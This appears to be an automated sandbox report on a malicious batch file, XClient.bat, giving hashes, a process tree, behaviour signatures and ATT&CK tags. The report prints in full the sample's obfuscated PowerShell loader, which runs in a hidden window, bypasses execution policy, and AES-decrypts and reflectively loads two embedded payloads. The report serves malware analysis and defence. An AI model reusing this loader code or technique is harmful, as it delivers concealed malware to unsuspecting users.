ab6fed54d7e8fcd47d2888aae95498968192e13aaab8f8a09880b602ea98e81c

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04-09-2024 03:02

240904-djne2svhpa 10

04-09-2024 03:01

04-09-2024 01:09

03-09-2024 23:53

03-09-2024 23:29

03-09-2024 23:26

Analysis

max time kernel
718s
max time network
719s
platform
windows7_x64
resource
win7-20240729-en
resource tags

arch:x64arch:x86image:win7-20240729-enlocale:en-usos:windows7-x64system
submitted
04-09-2024 03:02

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General

Target

XClient.bat
Size

320KB
MD5

e0d59aedb927f0aad0b47eab247e5fbc
SHA1

8abe8db8e344729b0f78d83e540b17a31893ed92
SHA256

ab6fed54d7e8fcd47d2888aae95498968192e13aaab8f8a09880b602ea98e81c
SHA512

7459cba2a54a2e26e7464f9f4863b1fedb63cfa80ed2261ee69fd9c268c5d6bb54a4d01368d7ed987387016d786fb115f84afe97e192545b1f860b020c805e97
SSDEEP

6144:HQIYl64Q3Gx/E7X3YIzsUW4MN2nwaF0FbD/VdFzqEE/jeT3/:HQIh77X3t6+4VdFzoW/

Score

8^/10

execution

Malware Config

Signatures

Command and Scripting Interpreter: PowerShell 1 TTPs 1 IoCs
Run Powershell and hide display window.
execution

PowerShell
T1059.001

Processes:

powershell.exe

pid process

2596 powershell.exe
Deletes itself 1 IoCs

Processes:

cmd.exe

pid process

2116 cmd.exe
Runs net.exe
Suspicious behavior: EnumeratesProcesses 1 IoCs

Processes:

powershell.exe

pid process

2596 powershell.exe
Suspicious use of AdjustPrivilegeToken 1 IoCs

Processes:

powershell.exe

description pid process

Token: SeDebugPrivilege 2596 powershell.exe

pid	process
2596	powershell.exe

pid	process
2116	cmd.exe

pid	process
2596	powershell.exe

description	pid	process
Token: SeDebugPrivilege	2596	powershell.exe

Suspicious use of WriteProcessMemory 9 IoCs

Processes:

cmd.exenet.exe

description	pid	process	target process
PID 2116 wrote to memory of 2384	2116	cmd.exe	net.exe
PID 2116 wrote to memory of 2384	2116	cmd.exe	net.exe
PID 2116 wrote to memory of 2384	2116	cmd.exe	net.exe
PID 2384 wrote to memory of 2992	2384	net.exe	net1.exe
PID 2384 wrote to memory of 2992	2384	net.exe	net1.exe
PID 2384 wrote to memory of 2992	2384	net.exe	net1.exe
PID 2116 wrote to memory of 2596	2116	cmd.exe	powershell.exe
PID 2116 wrote to memory of 2596	2116	cmd.exe	powershell.exe
PID 2116 wrote to memory of 2596	2116	cmd.exe	powershell.exe

C:\Windows\system32\cmd.exe
cmd /c "C:\Users\Admin\AppData\Local\Temp\XClient.bat"
1⤵
- Deletes itself
- Suspicious use of WriteProcessMemory
PID:2116
- C:\Windows\system32\net.exe
  net file
  2⤵
  - Suspicious use of WriteProcessMemory
  PID:2384
- - C:\Windows\system32\net1.exe
    C:\Windows\system32\net1 file
    3⤵
    PID:2992
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -noprofile -windowstyle hidden -ep bypass -command function decrypt_function($param_var){ $aes_var=[System.Security.Cryptography.Aes]::Create(); $aes_var.Mode=[System.Security.Cryptography.CipherMode]::CBC; $aes_var.Padding=[System.Security.Cryptography.PaddingMode]::PKCS7; $aes_var.Key=[System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('Y+qf52DrQiYLUaozbbmw9JavODvF6+9CeZx0/k94u9k='); $aes_var.IV=[System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('4WB4xmZ2PUqqywaBQpnlmg=='); $decryptor_var=$aes_var.CreateDecryptor(); $return_var=$decryptor_var.TransformFinalBlock($param_var, 0, $param_var.Length); $decryptor_var.Dispose(); $aes_var.Dispose(); $return_var;}function decompress_function($param_var){ $vfVzQ=New-Object System.IO.MemoryStream(,$param_var); $AjFMf=New-Object System.IO.MemoryStream; $JrhbC=New-Object System.IO.Compression.GZipStream($vfVzQ, [IO.Compression.CompressionMode]::Decompress); $JrhbC.CopyTo($AjFMf); $JrhbC.Dispose(); $vfVzQ.Dispose(); $AjFMf.Dispose(); $AjFMf.ToArray();}function execute_function($param_var,$param2_var){ $AKLYU=[System.Reflection.Assembly]::('daoL'[-1..-4] -join '')([byte[]]$param_var); $eguYy=$AKLYU.EntryPoint; $eguYy.Invoke($null, $param2_var);}$host.UI.RawUI.WindowTitle = 'C:\Users\Admin\AppData\Local\Temp\XClient.bat';$FsplU=[System.IO.File]::('txeTllAdaeR'[-1..-11] -join '')('C:\Users\Admin\AppData\Local\Temp\XClient.bat').Split([Environment]::NewLine);foreach ($NLDPG in $FsplU) { if ($NLDPG.StartsWith(':: ')) { $wgQrx=$NLDPG.Substring(3); break; }}$payloads_var=[string[]]$wgQrx.Split('\');$payload1_var=decompress_function (decrypt_function ([Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')($payloads_var[0])));$payload2_var=decompress_function (decrypt_function ([Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')($payloads_var[1])));execute_function $payload1_var $null;execute_function $payload2_var (,[string[]] (''));
  2⤵
  - Command and Scripting Interpreter: PowerShell
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  PID:2596

Network

MITRE ATT&CK Enterprise v15

Reconnaissance

Resource Development

Initial Access

Execution

Command and Scripting Interpreter

T1059

PowerShell

T1059.001

Persistence

Privilege Escalation

Defense Evasion

Credential Access

Discovery

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Replay Monitor

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Downloads

memory/2596-4-0x000007FEF5DFE000-0x000007FEF5DFF000-memory.dmp

Filesize
4KB

Download
memory/2596-5-0x000000001B630000-0x000000001B912000-memory.dmp

Filesize
2.9MB

Download
memory/2596-7-0x000007FEF5B40000-0x000007FEF64DD000-memory.dmp

Filesize
9.6MB

Download
memory/2596-6-0x00000000021D0000-0x00000000021D8000-memory.dmp

Filesize
32KB

Download
memory/2596-9-0x000007FEF5B40000-0x000007FEF64DD000-memory.dmp

Filesize
9.6MB

Download
memory/2596-10-0x000007FEF5B40000-0x000007FEF64DD000-memory.dmp

Filesize
9.6MB

Download
memory/2596-8-0x000007FEF5B40000-0x000007FEF64DD000-memory.dmp

Filesize
9.6MB

Download
memory/2596-11-0x000007FEF5B40000-0x000007FEF64DD000-memory.dmp

Filesize
9.6MB

Download
memory/2596-12-0x000007FEF5B40000-0x000007FEF64DD000-memory.dmp

Filesize
9.6MB

Download